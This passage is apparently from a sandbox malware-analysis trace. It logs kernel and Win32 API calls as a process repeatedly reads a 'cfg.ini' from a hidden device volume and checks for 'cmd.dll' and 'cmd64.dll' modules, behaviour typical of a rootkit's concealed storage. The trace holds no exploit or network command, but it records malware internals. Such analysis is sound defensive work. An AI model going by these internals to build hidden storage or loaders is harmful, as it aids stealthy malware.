FastMutex=0xfffffa80027d3898) [0126.399] KeLeaveCriticalRegion () [0126.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.399] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.399] KeEnterCriticalRegion () [0126.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.399] KeLeaveCriticalRegion () [0126.399] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.399] KeEnterCriticalRegion () [0126.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.399] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.399] IdePortDispatch () returned 0x103 [0126.399] KeWaitForMutexObject () returned 0x0 [0126.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.399] KeLeaveCriticalRegion () [0126.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.399] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.399] KeEnterCriticalRegion () [0126.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348c000 [0126.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.400] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.400] IdePortDispatch () returned 0x103 [0126.400] KeWaitForMutexObject () returned 0x0 [0126.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.400] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.400] IdePortDispatch () returned 0x103 [0126.400] KeWaitForMutexObject () returned 0x0 [0126.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.400] KeLeaveCriticalRegion () [0126.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.401] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.401] KeEnterCriticalRegion () [0126.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.401] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.401] KeLeaveCriticalRegion () [0126.401] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.401] KeEnterCriticalRegion () [0126.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.401] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.401] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.401] KeLeaveCriticalRegion () [0126.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.401] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.401] KeEnterCriticalRegion () [0126.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.401] ExFreePoolWithTag (P=0xfffffa8003bfabe0, Tag=0x0) [0126.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.401] KeLeaveCriticalRegion () [0126.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.401] ReleaseMutex (hMutex=0xf0) returned 1 [0126.401] Sleep (dwMilliseconds=0x124f80) [0126.411] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.417] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.417] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.418] KeEnterCriticalRegion () [0126.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.418] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.418] IdePortDispatch () returned 0x103 [0126.418] KeWaitForMutexObject () returned 0x0 [0126.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.418] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.418] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.418] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.418] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.418] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8480 [0126.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.418] KeLeaveCriticalRegion () [0126.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.418] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.418] KeEnterCriticalRegion () [0126.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.418] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.418] KeLeaveCriticalRegion () [0126.418] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.418] KeEnterCriticalRegion () [0126.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.418] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.418] IdePortDispatch () returned 0x103 [0126.418] KeWaitForMutexObject () returned 0x0 [0126.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.419] KeLeaveCriticalRegion () [0126.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.419] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.419] KeEnterCriticalRegion () [0126.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.419] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003493000 [0126.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.419] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.419] IdePortDispatch () returned 0x103 [0126.419] KeWaitForMutexObject () returned 0x0 [0126.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.419] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.419] IdePortDispatch () returned 0x103 [0126.419] KeWaitForMutexObject () returned 0x0 [0126.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.419] KeLeaveCriticalRegion () [0126.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.420] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.420] KeEnterCriticalRegion () [0126.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.420] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.420] KeLeaveCriticalRegion () [0126.420] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.420] KeEnterCriticalRegion () [0126.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.420] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.420] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.420] KeLeaveCriticalRegion () [0126.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.420] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.420] KeEnterCriticalRegion () [0126.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.420] ExFreePoolWithTag (P=0xfffffa8003ac8480, Tag=0x0) [0126.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.420] KeLeaveCriticalRegion () [0126.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.420] ReleaseMutex (hMutex=0xf0) returned 1 [0126.420] Sleep (dwMilliseconds=0x124f80) [0126.434] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.434] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.434] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.434] KeEnterCriticalRegion () [0126.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.434] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.434] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.434] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.434] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.434] IdePortDispatch () returned 0x103 [0126.434] KeWaitForMutexObject () returned 0x0 [0126.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.435] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.435] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.435] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.435] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.435] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d9160 [0126.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.435] KeLeaveCriticalRegion () [0126.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.435] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.435] KeEnterCriticalRegion () [0126.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.435] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.435] KeLeaveCriticalRegion () [0126.435] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.435] KeEnterCriticalRegion () [0126.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.435] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.435] IdePortDispatch () returned 0x103 [0126.435] KeWaitForMutexObject () returned 0x0 [0126.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.435] KeLeaveCriticalRegion () [0126.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.435] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.435] KeEnterCriticalRegion () [0126.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.435] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003498000 [0126.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.435] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.436] IdePortDispatch () returned 0x103 [0126.436] KeWaitForMutexObject () returned 0x0 [0126.436] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.436] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.436] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.436] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.436] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.436] IdePortDispatch () returned 0x103 [0126.436] KeWaitForMutexObject () returned 0x0 [0126.436] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.436] KeLeaveCriticalRegion () [0126.436] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.437] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.437] KeEnterCriticalRegion () [0126.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.437] KeLeaveCriticalRegion () [0126.437] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.437] KeEnterCriticalRegion () [0126.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.437] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.437] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037eebf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.437] KeLeaveCriticalRegion () [0126.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.437] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.437] KeEnterCriticalRegion () [0126.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.437] ExFreePoolWithTag (P=0xfffffa80037d9160, Tag=0x0) [0126.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.437] KeLeaveCriticalRegion () [0126.437] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.437] ReleaseMutex (hMutex=0xf0) returned 1 [0126.437] Sleep (dwMilliseconds=0x124f80) [0126.451] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.451] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.451] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.451] KeEnterCriticalRegion () [0126.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.451] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.451] IdePortDispatch () returned 0x103 [0126.451] KeWaitForMutexObject () returned 0x0 [0126.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.452] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.452] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.452] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.452] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.452] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.452] KeLeaveCriticalRegion () [0126.452] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.452] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.452] KeEnterCriticalRegion () [0126.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.452] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.452] KeLeaveCriticalRegion () [0126.452] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.452] KeEnterCriticalRegion () [0126.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.452] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.452] IdePortDispatch () returned 0x103 [0126.452] KeWaitForMutexObject () returned 0x0 [0126.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.452] KeLeaveCriticalRegion () [0126.452] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.452] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.452] KeEnterCriticalRegion () [0126.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.452] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349d000 [0126.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) 